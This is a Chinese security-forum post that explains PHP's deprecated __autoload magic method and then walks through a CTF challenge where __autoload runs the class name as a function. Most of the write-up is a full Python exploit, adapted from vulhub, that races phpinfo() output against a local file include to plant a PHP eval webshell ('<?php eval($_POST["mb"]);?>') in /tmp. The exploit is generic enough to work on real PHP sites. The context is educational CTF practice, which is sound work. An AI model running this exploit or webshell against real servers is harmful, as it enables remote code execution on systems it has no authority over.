安全矩阵

 找回密码
 立即注册
搜索
查看: 2313|回复: 0

autoload魔术方法的妙用

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-10-11 20:07:07 | 显示全部楼层 |阅读模式
原文链接:autoload魔术方法的妙用

前言:__autoload魔术方法从PHP7.2.0开始被废弃,并且在PHP8.0.0以上的版本完全废除。取而代之的则是spl_autoload_register,但是本文还是研究__autoload。
什么是autoload魔术方法?首先还是从官方手册中下手,了解autoload函数

由此可见,__autoload魔术方法需要有一个类名的参数,使用这个魔术方法之后即可自动加载相应的类。
虽然说是自动,但是本质上还是需要我们指定类名,__autoload才会为我们包含文件,自动加载相应的类。
举一个简单的例子,假设我们有index.php业务代码如下:
  1. <?php
  2. function __autoload($classname){
  3. include("class_$classname.php");
  4. }
  5. $a = new A();
复制代码

并且我们有class_A.php代码如下:
  1. <?php
  2. class A{
  3. function __construct(){
  4. echo "I am class A\n";
  5. }
  6. }
复制代码

我们可以看到,即使我们在index.php中没有包含class_A.php中的类A,但是在index.php中却新建了一个对象,此时因为在index.php中没有类A,所以PHP会自动调用__autoload魔术方法。而我们__autoload魔术方法的作用就是将相关文件包含进来,因此最终程序还是成功的将I am class A输出。

所以,__autoload只需要我们在魔术方法内写明一个逻辑:如果在后面的代码中,新建一个对象,找不到对应的类的时候,应该包含哪些文件。
autoload相比手动加载有哪些优势?虽然说感觉__autoload很智能,但是通过上方的例子并不能很明显体现__autoload的优点,因此下方换一个例子,用来展示__autoload相比手动加载的其他优势。
首先假设我们有autoload.php主业务逻辑代码如下:
  1. <?php

  2. require_once("class_A.php");
  3. require_once("class_B.php");
  4. require_once("class_C.php");

  5. if ($_GET["class"] === 'A'){
  6. $a = new A();
  7. }
  8. else if ($_GET["class"] === 'B'){
  9. $b = new B();
  10. }
  11. else if ($_GET["class"] === 'C'){
  12. $c = new C();
  13. }
复制代码

光看这么一段代码就已经觉得手动加载很繁琐了,因为在这段代码中,仅仅只是包含了三个文件,虽然本质上的业务逻辑十分简单,但是代码看起来很繁琐,并且在这一段代码还存在一个很大的问题,就是资源的浪费。我们可以看到主要的业务逻辑就是一个if语句,并且无论我们往class中怎么传参,总是至少有两个类是无法新建的。也就是说,在代码最上方的三行包含文件代码中,至少有两行的文件加载是多余的。因此,这样就就造成了资源的浪费。那么如何解决这一个问题呢?
答案就是使用__autoload魔术方法,在我们需要的将相关文件包含进来。
因此我们将autoload.php代码修改如下:
  1. <?php

  2. function __autoload($classname){
  3. require("class_$classname.php");
  4. }

  5. if ($_GET["class"] === 'A'){
  6. $a = new A();
  7. }
  8. else if ($_GET["class"] === 'B'){
  9. $b = new B();
  10. }
  11. else if ($_GET["class"] === 'C'){
  12. $c = new C();
  13. }
复制代码

这个时候不仅代码看上去清爽了很多,而且在理论上,运行的效率会更高,占用的系统资源会更少。除此之外,这么写其实还有一个优点,这里用到的文件包含函数是require,而上方使用的是require_once,这么写的好处就是:如果后面再次调用类A、B、C,那么PHP会自动从内存中加载这些类,不会再一次调用__autoload魔术方法。
那么,__autoload在开发中这么神奇,在安全中有没有什么利用场景呢?
有!那必然是有!下面将从一道CTF赛题中看看__autoload在安全中是怎么用的。
从一道CTF题看autoload首先题目代码如下:
  1. <?php

  2. /*
  3. # -*- coding: utf-8 -*-
  4. # @Author: h1xa
  5. # @Date:   2020-10-13 11:25:09
  6. # @Last Modified by:   h1xa
  7. # @Last Modified time: 2020-10-19 07:12:57

  8. */
  9. include("flag.php");
  10. error_reporting(0);
  11. highlight_file(__FILE__);

  12. class CTFSHOW{
  13.    private $username;
  14.    private $password;
  15.    private $vip;
  16.    private $secret;

  17.    function __construct(){
  18.        $this->vip = 0;
  19.        $this->secret = $flag;
  20.   }

  21.    function __destruct(){
  22.        echo $this->secret;
  23.   }

  24.    public function isVIP(){
  25.        return $this->vip?TRUE:FALSE;
  26.       }
  27.   }

  28.    function __autoload($class){
  29.        if(isset($class)){
  30.            $class();
  31.   }
  32. }

  33. #过滤字符
  34. $key = $_SERVER['QUERY_STRING'];
  35. if(preg_match('/\_| |\[|\]|\?/', $key)){
  36.    die("error");
  37. }
  38. $ctf = $_POST['ctf'];
  39. extract($_GET);
  40. if(class_exists($__CTFSHOW__)){
  41.    echo "class is exists!";
  42. }

  43. if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
  44.    include($ctf);
  45. }
复制代码

我们可以看到在类CTFSHOW里有一个__autoload魔术方法,虽然是在类里面,但是这是一个全局的魔术方法,也就是说只要调用未知名称的类,都会调用__autoload这个魔术方法,而__autoload魔术方法将传入的参数作为命令执行。然后我们再往下审计:
  1. $key = $_SERVER['QUERY_STRING'];
  2. if(preg_match('/\_| |\[|\]|\?/', $key)){
  3.    die("error");
  4. }
  5. $ctf = $_POST['ctf'];
  6. extract($_GET);
复制代码

这一部分代码是过滤部分字符,POST传入ctf,并且将GET请求中的变量名和值进行赋值
  1. if(class_exists($__CTFSHOW__)){
  2.    echo "class is exists!";
  3. }
复制代码


这一部分有一个函数:class_exists
这一个函数和前面提到的新建对象一样,如果不存在这个类,同样也会调用__autoload魔术方法
而且需要有一个__CTFSHOW__变量,但是下划线过滤了。不过没关系,在PHP中,当我们使用.作为变量名时,PHP会将.转化为下划线。
  1. if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
  2.    include($ctf);
  3. }
复制代码


而这一部分代码不允许ctf中存在:,并且过滤了log,也就是不允许我们日志注入,但是这里存在一个文件包含。
因此我们可以考虑利用文件包含结合phpinfo进行RCE。

这里贴一个项目链接,这个项目大概就是可以通过phpinfo结合本地文件包含,利用PHP的文件上传会存在临时文件的特性,进行getshell,具体原理就不再赘述了,参考说明文档即可。
exp链接:vulhub/exp.py at master · vulhub/vulhub (github.com)
说明文档:vulhub/README.zh-cn.md at master · vulhub/vulhub (github.com)
将改exp修改部分后,如下:
  1. #!/usr/bin/python
  2. import sys
  3. import threading
  4. import socket

  5. attempts_counter = 0


  6. def setup(host, port, phpinfo_path, lfi_path, lfi_param, shell_code='<?php eval($_POST["mb"]);?>', shell_path='/tmp/g'):
  7.    """
  8.   根据提供参数返回请求内容
  9.   :param host:HOST
  10.   :param port:端口
  11.   :param phpinfo_path: phpinfo文件地址
  12.   :param lfi_path: 包含lfi的文件地址
  13.   :param lfi_param: lfi载入文件时, 指定文件名的参数
  14.   :param shell_code: shell代码
  15.   :param shell_path: shell代码保存位置
  16.   :return:
  17.       phpinfo_request: phpinfo 请求内容
  18.       lfi_request: lfi 请求内容
  19.       tag: 标识内容
  20.   """
  21.    tag = 'Security Test'   # 搜索验证标识
  22.    payload = \
  23. '''{tag}\r
  24. <?php $c=fopen('{shell_path}','w');fwrite($c,'{shell_code}');?>\r
  25. '''.format(shell_code=shell_code, tag=tag, shell_path=shell_path)

  26.    request_data = \
  27. '''-----------------------------7dbff1ded0714\r
  28. Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
  29. Content-Type: text/plain\r
  30. \r
  31. {payload}
  32. -----------------------------7dbff1ded0714--\r
  33. ''' .format(payload=payload)

  34.    phpinfo_request = \
  35. '''POST {phpinfo_path}?%5f%5fCTFSHOW%5f%5f=phpinfo&a={padding} HTTP/1.1\r
  36. Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie={padding}\r
  37. HTTP_ACCEPT: {padding}\r
  38. HTTP_USER_AGENT: {padding}\r
  39. HTTP_ACCEPT_LANGUAGE: {padding}\r
  40. HTTP_PRAGMA: {padding}\r
  41. Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
  42. Content-Length: {request_data_length}\r
  43. Host: {host}:{port}\r
  44. \r
  45. {request_data}
  46. '''.format(
  47.    padding='A' * 4000,
  48.    phpinfo_path=phpinfo_path,
  49.    request_data_length=len(request_data),
  50.    host=host,
  51.    port=port,
  52.    request_data=request_data
  53.   )

  54.    lfi_request = \
  55. '''POST {lfi_path}?{lfi_param} HTTP/1.1\r
  56. User-Agent: Mozilla/4.0\r
  57. Proxy-Connection: Keep-Alive\r
  58. Host: {host}\r
  59. Content-Type: application/x-www-form-urlencoded\r
  60. \r
  61. ctf={{}}\r
  62. '''.format(
  63.    lfi_path=lfi_path,
  64.    lfi_param=lfi_param,
  65.    host=host
  66.   )
  67.    return phpinfo_request, tag, lfi_request


  68. def phpinfo_lfi(host, port, phpinfo_request, offset, lfi_request, tag):
  69.    """
  70.   通过向phpinfo发送大数据包延缓时间, 然后利用lfi执行
  71.   :param host:HOST
  72.   :param port:端口
  73.   :param phpinfo_request: phpinfo页面请求内容
  74.   :param offset: tmp_name在phpinfo中的偏移位
  75.   :param lfi_request: lfi页面请求内容
  76.   :param tag: 标识内容
  77.   :return:
  78.       tmp_file_name: 临时文件名
  79.   """
  80.    phpinfo_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  81.    lfi_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

  82.    phpinfo_socket.connect((host, port))
  83.    lfi_socket.connect((host, port))

  84.    # 1. 先向phpinfo发送大数据包, 且其中包含php会将payload放入临时文件中
  85.    # print(phpinfo_request)
  86.    # print(lfi_request)
  87.    phpinfo_socket.send(phpinfo_request.encode())

  88.    phpinfo_response_data = ''
  89.    while len(phpinfo_response_data) < offset:
  90.        # 取不到数据则反复执行
  91.        phpinfo_response_data += phpinfo_socket.recv(offset).decode()

  92.    try:
  93.        tmp_name_index = phpinfo_response_data.index('[tmp_name] =>')
  94.        # 获取包含payload的临时文件名
  95.        tmp_file_name = phpinfo_response_data[
  96.                            tmp_name_index + 17:
  97.                            tmp_name_index + 31
  98.                       ]
  99.    except ValueError:
  100.        return None
  101.    # 2. 再向lfi发送包含payload的临时文件名, 用于包含
  102.    lfi_socket.send((lfi_request.format(tmp_file_name)).encode())
  103.    # print(lfi_request.format(tmp_file_name))
  104.    lfi_response_data = lfi_socket.recv(4096).decode()

  105.    # 3. 停止phpinfo socket连接
  106.    phpinfo_socket.close()
  107.    # 4. 停止lfi socket连接
  108.    lfi_socket.close()
  109.    if lfi_response_data.find(tag) != -1:
  110.        # 5. lfi response中存在标识内容则payload执行成功
  111.        return tmp_file_name


  112. class ThreadWorker(threading.Thread):
  113.    def __init__(self, event, lock, max_attempts,
  114.                 host, port, phpinfo_request,
  115.                 offset, lfi_request, tag,
  116.                 shell_code, shell_path,
  117.                 lfi_path, lfi_param):
  118.        threading.Thread.__init__(self)
  119.        self.event = event
  120.        self.lock = lock
  121.        self.max_attempts = max_attempts
  122.        self.host = host
  123.        self.port = port
  124.        self.phpinfo_request = phpinfo_request
  125.        self.offset = offset
  126.        self.lfi_request = lfi_request
  127.        self.tag = tag
  128.        self.shell_code = shell_code
  129.        self.shell_path = shell_path
  130.        self.lfi_path = lfi_path
  131.        self.lfi_param = lfi_param

  132.    def run(self):
  133.        global attempts_counter
  134.        while not self.event.is_set():
  135.            # 如果没有set event则一直重复执行, 直到已尝试次数大于最大尝试数(attempts_counter > max_attempts)
  136.            with self.lock:
  137.                # 获取锁, 执行完后释放
  138.                if attempts_counter >= self.max_attempts:
  139.                    return
  140.                attempts_counter += 1
  141.            try:
  142.                tmp_file_name = phpinfo_lfi(
  143.                    self.host, self.port, self.phpinfo_request, self.offset, self.lfi_request, self.tag)
  144.                if self.event.is_set():
  145.                    break
  146.                if tmp_file_name:
  147.                    # 找到tmp_file_name后通过set event停止运行
  148.                    print('\n{shell_code} 已经被写入到{shell_path}中'.format(
  149.                        shell_code=self.shell_code,
  150.                        shell_path=self.shell_path
  151.                   ))
  152.                    'http://127.0.0.1/test/lfi_phpinfo/lfi.php?load=/tmp/gc&f=uname%20-a'
  153.                    print('默认调用方法: http://{host}:{port}{lfi_path}?{lfi_param}={shell_path}&f=uname%20-a'.format(
  154.                        host=self.host,
  155.                        port=self.port,
  156.                        lfi_path=self.lfi_path,
  157.                        lfi_param=self.lfi_param,
  158.                        shell_path=self.shell_path
  159.                   ))

  160.                    self.event.set()
  161.            except socket.error:
  162.                return


  163. def get_offset(host, port, phpinfo_request):
  164.    """
  165.   获取tmp_name在phpinfo中的偏移量
  166.   :param host: HOST
  167.   :param port: 端口
  168.   :param phpinfo_request: phpinfo 请求内容
  169.   :return:
  170.       tmp_name在phpinfo中的偏移量
  171.   """

  172.    phpinfo_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  173.    phpinfo_socket.connect((host, port))
  174.    phpinfo_socket.send(phpinfo_request.encode())
  175.    phpinfo_response_data = ''
  176.    while True:
  177.        i = phpinfo_socket.recv(4096).decode()
  178.        phpinfo_response_data += i
  179.        if i == '':
  180.            break

  181.        # 检测是否是最后一个数据块
  182.        if i.endswith('0\r\n\r\n'):
  183.            break
  184.    phpinfo_socket.close()
  185.    tmp_name_index = phpinfo_response_data.find('[tmp_name] =>')
  186.    print(phpinfo_response_data)
  187.    if tmp_name_index == -1:
  188.        raise ValueError('没有在phpinfo中找到tmp_name')
  189.    print('找到了 {} 在phpinfo内容索引为{}的位置'.format(
  190.        phpinfo_response_data[tmp_name_index:tmp_name_index+10], tmp_name_index))

  191.    return tmp_name_index + 256


  192. def main():
  193.    pool_size = 100
  194.    host = '7438117e-d02c-467c-859a-17c47f67b37e.challenge.ctf.show'
  195.    port = 8080
  196.    phpinfo_path = '/'
  197.    lfi_path = '/'
  198.    lfi_param = 'isVIP=1'
  199.    shell_code = '<?php eval($_POST["mb"]);?>'
  200.    shell_path = '/tmp/g'
  201.    # 最大尝试次数
  202.    max_attempts = 1000

  203.    print('LFI With PHPInfo()')
  204.    # 一 生成phpinfo请求内容, 标志内容, lfi请求内容
  205.    phpinfo_request, tag, lfi_request = setup(
  206.        host=host, port=port, phpinfo_path=phpinfo_path, lfi_path=lfi_path,
  207.        lfi_param=lfi_param, shell_code=shell_code, shell_path=shell_path)

  208.    # 二 获取[tmp_name]在phpinfo中的偏移位
  209.    offset = get_offset(host, port, phpinfo_request)

  210.    sys.stdout.flush()
  211.    thread_event = threading.Event()
  212.    thread_lock = threading.Lock()
  213.    print('创建线程池 {}...'.format(pool_size))
  214.    sys.stdout.flush()
  215.    thread_pool = []
  216.    for i in range(0, pool_size):
  217.        # 三 多线程执行phpinfo_lfi
  218.        thread_pool.append(ThreadWorker(thread_event, thread_lock, max_attempts,
  219.                                        host, port, phpinfo_request, offset,
  220.                                        lfi_request, tag,
  221.                                        shell_code, shell_path,
  222.                                        lfi_path, lfi_param
  223.                                       ))
  224.    for t in thread_pool:
  225.        t.start()
  226.    try:
  227.        while not thread_event.wait(1):
  228.            if thread_event.is_set():
  229.                break
  230.            with thread_lock:
  231.                sys.stdout.write('\r{} / {}'.format(attempts_counter, max_attempts))
  232.                sys.stdout.flush()
  233.                if attempts_counter >= max_attempts:
  234.                    # 尝试次数大于最大尝试次数则退出
  235.                    break
  236.        if thread_event.is_set():
  237.            print('''success !''')
  238.        else:
  239.            print('LJBD!')
  240.    except KeyboardInterrupt:
  241.        print('\n正在停止所有线程...')
  242.        thread_event.set()
  243.    for t in thread_pool:
  244.        t.join()


  245. if __name__ == "__main__":
  246.    main()
复制代码

当然啦,这题除了可以利用__autoload魔术方法结合本地文件包含getshell,也可以用php上传文件条件竞争来做。

总结:__autoload之所以好用,首先是因为它是一个全局的魔术方法,并且开发者在使用__autoload的时候,往往是为了包含相关的文件,而在指定包含的文件名时,就可能会出现包含文件可控的情况,虽然__autoload已经在新版本的PHP中废弃,但是在对我们研究老版本的PHP项目,还是有一定指导意义的。

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-22 19:21 , Processed in 0.013312 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表